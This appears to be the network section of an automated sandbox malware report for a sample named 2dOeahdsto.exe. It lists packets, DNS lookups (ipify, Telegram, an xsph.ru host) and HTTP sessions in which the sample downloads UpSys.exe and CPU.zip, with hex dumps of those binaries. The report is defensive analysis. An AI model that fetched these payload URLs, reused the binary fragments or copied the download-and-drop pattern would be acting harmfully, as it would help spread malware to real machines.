                                                                                                                                                                                                      Jul 22, 2022 17:01:34.914554119 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.914576054 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.914598942 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.914639950 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.914699078 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.914705038 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.914736986 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.914745092 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.914799929 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.937664986 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.937721014 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.937764883 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.937808037 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.937848091 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.937892914 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.937911987 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.937932968 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.937933922 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.937975883 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.938014984 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.939455032 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.939479113 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:34.939598083 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.583878994 CEST49770443192.168.2.73.220.57.224
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.583920002 CEST443497703.220.57.224192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.584142923 CEST49770443192.168.2.73.220.57.224
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.617202044 CEST49770443192.168.2.73.220.57.224
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.617233038 CEST443497703.220.57.224192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.907269001 CEST443497703.220.57.224192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.907444954 CEST49770443192.168.2.73.220.57.224
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.931746960 CEST49770443192.168.2.73.220.57.224
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.931771040 CEST443497703.220.57.224192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.932043076 CEST443497703.220.57.224192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.932454109 CEST49770443192.168.2.73.220.57.224
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.935101032 CEST49770443192.168.2.73.220.57.224
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.976516008 CEST443497703.220.57.224192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.229201078 CEST443497703.220.57.224192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.229273081 CEST443497703.220.57.224192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.229351044 CEST49770443192.168.2.73.220.57.224
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.229379892 CEST49770443192.168.2.73.220.57.224
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.236857891 CEST49770443192.168.2.73.220.57.224
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.236900091 CEST443497703.220.57.224192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.655358076 CEST49771443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.655394077 CEST44349771149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.655472994 CEST49771443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.656296968 CEST49771443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.656310081 CEST44349771149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.720055103 CEST44349771149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.720221996 CEST49771443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.729572058 CEST49771443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.729593992 CEST44349771149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.730062962 CEST44349771149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.730170965 CEST49771443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.731328011 CEST49771443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.772501945 CEST44349771149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.815872908 CEST44349771149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.815973043 CEST44349771149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.816133022 CEST49771443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.825737953 CEST49771443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.825778961 CEST44349771149.154.167.220192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.825783968 CEST49771443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.826090097 CEST49771443192.168.2.7149.154.167.220
                                                                                                                                                                                                      Jul 22, 2022 17:02:04.413726091 CEST8049764141.8.192.169192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:02:04.413805008 CEST4976480192.168.2.7141.8.192.169
                                                                                                                                                                                                      Jul 22, 2022 17:03:28.534940004 CEST4976480192.168.2.7141.8.192.169

                                                                                                                                                                                                      UDP Packets

                                                                                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.497348070 CEST6099653192.168.2.78.8.8.8
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.516072989 CEST53609968.8.8.8192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.883645058 CEST5051953192.168.2.78.8.8.8
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.904865980 CEST53505198.8.8.8192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.368876934 CEST5871553192.168.2.78.8.8.8
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.390413046 CEST53587158.8.8.8192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.542634964 CEST6028053192.168.2.78.8.8.8
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.562158108 CEST53602808.8.8.8192.168.2.7
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.599555969 CEST5414353192.168.2.78.8.8.8
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.618124008 CEST53541438.8.8.8192.168.2.7

                                                                                                                                                                                                      DNS Queries

                                                                                                                                                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.497348070 CEST192.168.2.78.8.8.80xcb57Standard query (0)api.ipify.orgA (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.883645058 CEST192.168.2.78.8.8.80x3aa9Standard query (0)api.telegram.orgA (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.368876934 CEST192.168.2.78.8.8.80x8917Standard query (0)a0694063.xsph.ruA (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.542634964 CEST192.168.2.78.8.8.80x491eStandard query (0)api.ipify.orgA (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.599555969 CEST192.168.2.78.8.8.80x9ff0Standard query (0)api.telegram.orgA (IP address)IN (0x0001)

                                                                                                                                                                                                      DNS Answers

                                                                                                                                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.516072989 CEST8.8.8.8192.168.2.70xcb57No error (0)api.ipify.orgapi.ipify.org.herokudns.comCNAME (Canonical name)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.516072989 CEST8.8.8.8192.168.2.70xcb57No error (0)api.ipify.org.herokudns.com3.232.242.170A (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.516072989 CEST8.8.8.8192.168.2.70xcb57No error (0)api.ipify.org.herokudns.com54.91.59.199A (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.516072989 CEST8.8.8.8192.168.2.70xcb57No error (0)api.ipify.org.herokudns.com52.20.78.240A (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:23.516072989 CEST8.8.8.8192.168.2.70xcb57No error (0)api.ipify.org.herokudns.com3.220.57.224A (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:24.904865980 CEST8.8.8.8192.168.2.70x3aa9No error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.390413046 CEST8.8.8.8192.168.2.70x8917No error (0)a0694063.xsph.ru141.8.192.169A (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.562158108 CEST8.8.8.8192.168.2.70x491eNo error (0)api.ipify.orgapi.ipify.org.herokudns.comCNAME (Canonical name)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.562158108 CEST8.8.8.8192.168.2.70x491eNo error (0)api.ipify.org.herokudns.com3.220.57.224A (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.562158108 CEST8.8.8.8192.168.2.70x491eNo error (0)api.ipify.org.herokudns.com52.20.78.240A (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.562158108 CEST8.8.8.8192.168.2.70x491eNo error (0)api.ipify.org.herokudns.com3.232.242.170A (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:46.562158108 CEST8.8.8.8192.168.2.70x491eNo error (0)api.ipify.org.herokudns.com54.91.59.199A (IP address)IN (0x0001)
                                                                                                                                                                                                      Jul 22, 2022 17:01:47.618124008 CEST8.8.8.8192.168.2.70x9ff0No error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)

                                                                                                                                                                                                      HTTP Request Dependency Graph

                                                                                                                                                                                                      • api.ipify.org
                                                                                                                                                                                                      • api.telegram.org
                                                                                                                                                                                                      • a0694063.xsph.ru

                                                                                                                                                                                                      HTTP Packets

                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                      0192.168.2.7497593.232.242.170443C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      TimestampkBytes transferredDirectionData


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                      1192.168.2.749762149.154.167.220443C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      TimestampkBytes transferredDirectionData


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                      2192.168.2.7497703.220.57.224443C:\ProgramData\MicrosoftNetwork\System.exe
                                                                                                                                                                                                      TimestampkBytes transferredDirectionData


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                      3192.168.2.749771149.154.167.220443C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      TimestampkBytes transferredDirectionData


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                      4192.168.2.749764141.8.192.16980C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      TimestampkBytes transferredDirectionData
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.460683107 CEST900OUTGET /UpSys.exe HTTP/1.1
                                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                                      UA-CPU: AMD64
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                      Host: a0694063.xsph.ru
                                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.524610996 CEST902INData Raw: 41 ff cc 48 39 74 24 78 0f 84 c5 23 03 00 40 38 b4 24 89 00 00 00 0f 85 c1 23 03 00 41 8b 1e 48 8d 4c 24 78 e8 f9 e9 00 00 4c 8b b4 24 80 00 00 00 45 85 ed 0f 88 d8 24 03 00 44 3b e3 0f 85 cf 24 03 00 44 8b 8c 24 28 01 00 00 8b 94 24 30 01 00 00
                                                                                                                                                                                                      Data Ascii: AH9t$x#@8$#AHL$xL$E$D;$D$($0;=iHcHHiH 33GE3ML[MEJfAt+3IfffHAHIfxutI$0fED$(lA
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.524657011 CEST903INData Raw: d9 48 83 c1 48 e8 9e 0b 00 00 48 8d 4b 28 e8 95 0b 00 00 48 8d 4b 08 48 83 c4 20 5b e9 87 0b 00 00 cc cc cc cc cc cc cc 40 53 48 83 ec 20 33 db 48 8d 15 a9 ae 09 00 48 8d 0d ea 50 0c 00 c6 05 cb 50 0c 00 01 c6 05 c5 50 0c 00 01 c6 05 bf 50 0c 00
                                                                                                                                                                                                      Data Ascii: HHHK(HKH [@SH 3HHPPPPHPPPPPPPPP+HLHPHP,HP HPHUPLFPHPHHPL
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.652872086 CEST904INData Raw: fa 61 72 19 66 83 fa 7a 77 13 48 8d 4c 24 40 e8 ce f8 ff ff ff c5 66 41 8b 14 6e eb d5 66 83 fa 30 0f 83 1b ff 02 00 66 83 fa 5f 74 dd 48 83 7c 24 48 00 0f 84 4a 00 03 00 48 8d 4c 24 40 e8 9f f3 ff ff 8b 54 24 48 48 8b 4c 24 40 ff 15 58 3d 09 00
                                                                                                                                                                                                      Data Ascii: arfzwHL$@fAnf0f_tH|$HJHL$@T$HHL$@X=HL$02HT$@HL$0"HT$0IUfzHL$0VPHT$0I#sHL$0R-HT$0IPAn=HL
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.717873096 CEST906INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: openresty
                                                                                                                                                                                                      Date: Fri, 22 Jul 2022 15:01:25 GMT
                                                                                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                                                                                      Content-Length: 945944
                                                                                                                                                                                                      Last-Modified: Wed, 06 Jul 2022 17:17:57 GMT
                                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                                      ETag: "62c5c3c5-e6f18"
                                                                                                                                                                                                      Expires: Fri, 29 Jul 2022 15:01:25 GMT
                                                                                                                                                                                                      Cache-Control: max-age=604800
                                                                                                                                                                                                      Accept-Ranges: bytes
                                                                                                                                                                                                      Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 80 69 b1 40 c4 08 df 13 c4 08 df 13 c4 08 df 13 79 47 49 13 c6 08 df 13 cd 70 5c 13 7d 08 df 13 cd 70 4a 13 ca 08 df 13 cd 70 5b 13 fd 08 df 13 e3 ce b2 13 cd 08 df 13 e3 ce 5f 13 c5 08 df 13 e3 ce a4 13 e5 08 df 13 c4 08 de 13 d7 0a df 13 cd 70 50 13 82 08 df 13 da 5a 4a 13 c6 08 df 13 da 5a 4b 13 c5 08 df 13 c4 08 48 13 c5 08 df 13 cd 70 4e 13 c5 08 df 13 52 69 63 68 c4 08 df 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00 28 16 c8 4b 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 09 00 00 5c 09 00 00 2a 03 00 00 00 00 00 7c d4 01 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 0e 00 00 04 00 00 93 4e 0f 00 02 00 00 81 00 00 40 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 91 0a 00 54 01 00 00 00 10 0d 00 f0 ee 00 00 00 a0 0c 00 14 6a 00 00 f8 51 0e 00 20 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 09 00 a8 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c1 5a 09 00 00 10 00 00 00 5c 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c 56 01 00 00 70 09 00 00 58 01 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 cb 01 00 00 d0 0a 00 00 76 00 00 00 b8 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 14 6a 00 00 00 a0 0c 00 00 6c 00 00 00 2e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f0 ee 00 00 00 10 0d 00 00 f0 00 00 00 9a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                      Data Ascii: MZ@!L!This program cannot be run in DOS mode.$i@yGIp\}pJp[_pPZJZKHpNRichPEd(K#\*|@N@@TjQ p.textZ\ `.rdataVpX`@@.datav@.pdatajl.@@.rsrc@@
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.717940092 CEST907INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 48 83 ec 28 83 3d 65 5c 0c 00 00 0f 85 7f 14 03 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc 40 57 48 83 ec 20 48 8b f9 48 8b 09 48 85 c9 0f 85 1b 1f 03 00 33 c0 89 47 10 48 83 c4 20 5f c3 48 89 5c 24 08 57
                                                                                                                                                                                                      Data Ascii: H(=e\H(@WH HHH3GH _H\$WH HIHHuE3LEH\$0H _A8tiH\$WH H^H=8nHH$HH;|L]H]HZqL]H]HZW
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.717982054 CEST909INData Raw: 10 03 00 48 8d 8f f0 fa ff ff e8 8f 5a 00 00 48 8d 4f e0 c7 87 f8 fa ff ff 01 00 00 00 44 89 a7 f0 fa ff ff e8 75 5a 00 00 c7 47 e8 01 00 00 00 44 89 67 e0 48 8b 87 d8 f7 ff ff 48 63 40 04 48 03 c7 4c 39 a0 e0 f7 ff ff 74 48 44 89 64 24 40 48 8d
                                                                                                                                                                                                      Data Ascii: HZHODuZGDgHHc@HL9tHDd$@HHT$@E3LIcCH8rLIcCHL9uHHOHHOYHO5HO5HXHH6H(
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.718023062 CEST910INData Raw: 00 00 00 48 8b 5c 24 30 48 83 c4 20 5f e9 72 45 01 00 cc cc 40 57 48 83 ec 20 49 63 f8 48 8b c7 83 ef 01 78 3b 48 89 5c 24 30 48 89 6c 24 38 48 0f af c2 48 89 74 24 40 49 8b e9 48 8d 1c 08 48 8b f2 66 90 48 2b de 48 8b cb ff d5 83 ef 01 79 f3 48
                                                                                                                                                                                                      Data Ascii: H\$0H _rE@WH IcHx;H\$0Hl$8HHt$@IHHfH+HyHt$@Hl$8H\$0H _H\$VH Hw3HHH9YvCHl$0H|$8HFH<HtGf?~6HDHH;^rH|$8Hl$0HNHFH\$@H ^Df
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.782844067 CEST912INData Raw: 8d 50 01 33 c9 48 89 44 24 20 ff 15 c2 48 09 00 85 c0 0f 84 d2 12 03 00 48 c7 c1 ff ff ff ff 48 89 5c 24 40 48 89 6c 24 48 48 63 e8 b8 02 00 00 00 48 f7 e5 48 0f 40 c1 48 8b c8 e8 82 44 01 00 4c 8b 06 44 8d 4f 01 ba 01 00 00 00 33 c9 89 6c 24 28
                                                                                                                                                                                                      Data Ascii: P3HD$ HHH\$@Hl$HHcHH@HDLDO3l$(HHD$ rHE3HLcIwH?Hl$HH\$@Ht$PH|$XH0A\H(HH9QrH(H\$0H|$ HHAHHAHKHHHHKCHHH
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.782880068 CEST913INData Raw: df 48 8d 94 24 00 09 00 00 33 f6 48 8b cd 66 89 b4 7c 00 09 00 00 e8 d5 f7 ff ff 84 c0 0f 84 a2 14 03 00 48 8d 8c 24 00 09 00 00 e8 c4 3a 01 00 85 c0 74 3b 8d 78 ff 48 63 df 85 ff 78 26 0f b7 b4 5c 00 09 00 00 0f b7 ce e8 fe 48 01 00 85 c0 74 10
                                                                                                                                                                                                      Data Ascii: H$3Hf|H$:t;xHcx&\HtH3HcfDH$@2u:~Hc\fHAHD$`LL$0L$H$HHD$ T$0L$EH@
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.782911062 CEST915INData Raw: 4c 8b 44 07 f8 4d 85 c0 74 3b 4c 8d 4c 24 20 48 8d 0d a2 3a 0c 00 8b d3 e8 8b f4 ff ff 85 c0 0f 85 b1 09 03 00 48 63 cb 48 8d 54 24 20 48 c1 e1 05 48 03 0d 00 3b 0c 00 e8 2b 00 00 00 ff c3 48 83 c7 08 eb a3 48 8d 4c 24 20 e8 c9 e0 ff ff b0 01 48
                                                                                                                                                                                                      Data Ascii: LDMt;LL$ H:HcHT$ HH;+HHL$ H\$PH|$hHH@VH HH;H\$03Ld$HLH9YHFIL$H9Ns9HHNHHH@H)HNHM%H^ID$3HFHttHl$
                                                                                                                                                                                                      Jul 22, 2022 17:01:25.783056974 CEST916INData Raw: ec 28 8b 51 08 83 fa 01 75 0d 66 0f 6e 01 f3 0f e6 c0 48 83 c4 28 c3 83 ea 02 0f 84 af d1 02 00 83 ea 01 0f 85 25 d1 02 00 f2 0f 10 01 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc cc cc 48 89 74 24 10 57 48 83 ec 20 48 8b 41 18 48 8b f2 48 8b f9
                                                                                                                                                                                                      Data Ascii: (QufnH(%H(Ht$WH HAHHH9At<%HHHLHOHGHt$8LHGH _HH\$0HOHsHOHHH@H$LGHWIHHHO H_H\$
                                                                                                                                                                                                      Jul 22, 2022 17:01:30.912172079 CEST1958OUTGET /CPU.zip HTTP/1.1
                                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                                      UA-CPU: AMD64
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                      Host: a0694063.xsph.ru
                                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                                      Jul 22, 2022 17:01:30.976810932 CEST1960INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: openresty
                                                                                                                                                                                                      Date: Fri, 22 Jul 2022 15:01:30 GMT
                                                                                                                                                                                                      Content-Type: application/zip
                                                                                                                                                                                                      Content-Length: 3420521
                                                                                                                                                                                                      Last-Modified: Sun, 10 Jul 2022 14:51:22 GMT
                                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                                      ETag: "62cae76a-343169"
                                                                                                                                                                                                      Expires: Fri, 29 Jul 2022 15:01:30 GMT
                                                                                                                                                                                                      Cache-Control: max-age=604800
                                                                                                                                                                                                      Accept-Ranges: bytes
                                                                                                                                                                                                      Data Raw: 50 4b 03 04 14 00 09 00 63 00 ab 49 ea 54 6f 95 99 3f a6 00 00 00 8e 00 00 00 0a 00 0b 00 63 6f 6e 66 69 67 2e 74 78 74 01 99 07 00 01 00 41 45 03 08 00 a5 72 0f 0b 8c ce 43 28 c9 e8 7a f7 4b 39 09 a2 b4 d7 b2 57 8d f7 aa 9c 8b f0 9a 37 7f f8 5a 82 0d 4b ea 1c 69 d5 6d 89 0e 63 f7 de 97 d1 13 28 a2 74 ac a1 98 e0 49 15 53 77 94 b2 25 3e ee 8f 16 dd 03 35 ab de 3c 4c 5f cf 06 68 7a ab 73 90 90 1c 40 4e 16 4f ae 01 e3 fb f3 72 38 b4 0d c9 ec e4 70 b8 a3 81 4d 46 4e 5d 4c b9 56 33 10 26 a5 ef 02 11 e2 54 27 6b 93 a9 8f 49 0e 43 95 14 c2 6a 5c bf 38 e1 f1 7d 7b 75 b0 fd 5a 0b 56 30 1b a2 68 41 7e c3 24 fe 2a 63 7a f3 3a 01 f9 28 d1 87 b7 9f 70 70 50 4b 07 08 6f 95 99 3f a6 00 00 00 8e 00 00 00 50 4b 03 04 14 00 09 00 63 00 96 60 85 54 5f 07 e0 1c 87 2d 34 00 00 96 7e 00 0c 00 0b 00 44 61 74 61 62 61 73 65 2e 65 78 65 01 99 07 00 01 00 41 45 03 08 00 3b 9a d6 74 5e 09 cd cf 8a f6 90 61 77 ea b7 33 7d fe 8f d3 6b 6b f9 a2 e0 7c ba 69 fe 46 9b 1a 28 2d 06 7a 8d bb 5d 3d 6b 13 c0 07 03 a1 a3 96 bb bb 83 a9 9c 98 a0 a1 63 05 86 19 a4 88 45 f6 fa 56 c1 6c d7 b8 87 37 0a bf d5 a6 0a 0d 15 1b ee c9 d9 96 78 6f b6 37 9c 54 24 fa 32 96 78 a3 46 27 13 1f 01 71 bd dd d7 a1 43 19 40 9e 94 97 92 81 94 b9 9b 1b 71 d4 fb 5b 20 8c 47 a8 ba 6c 6e 8d 09 4e cc 27 dd 48 9f 68 3c fc 8e 9b 50 cc 42 43 7a 9d 53 4b 5e 06 9f 1f 51 19 33 9a 6f 64 d0 81 a4 70 06 98 7f 6a dd 6b 91 ca 20 1a eb 6d 08 41 b6 d5 12 79 75 3f 27 e0 74 fb 52 08 93 fd 51 fe 1a 09 7b 87 c9 79 0b 3d ec 37 49 40 6d 16 03 84 f7 56 91 a7 89 34 f1 3a ad 4a 12 45 d9 28 b9 03 f3 3f d7 6e 16 a8 a1 2d 5c fd d2 70 21 86 10 6f 6a 04 34 5e af 6b b2 b3 c9 3e 10 57 75 5c 1a fc af 4c ff 1f f8 cb b0 f0 81 36 74 41 5e 06 42 0a 44 34 9d 2a 30 14 51 cb 3f 1f 8a 24 04 f8 7e 5d 2d a8 27 f3 71 50 90 5e 1b 55 91 4f 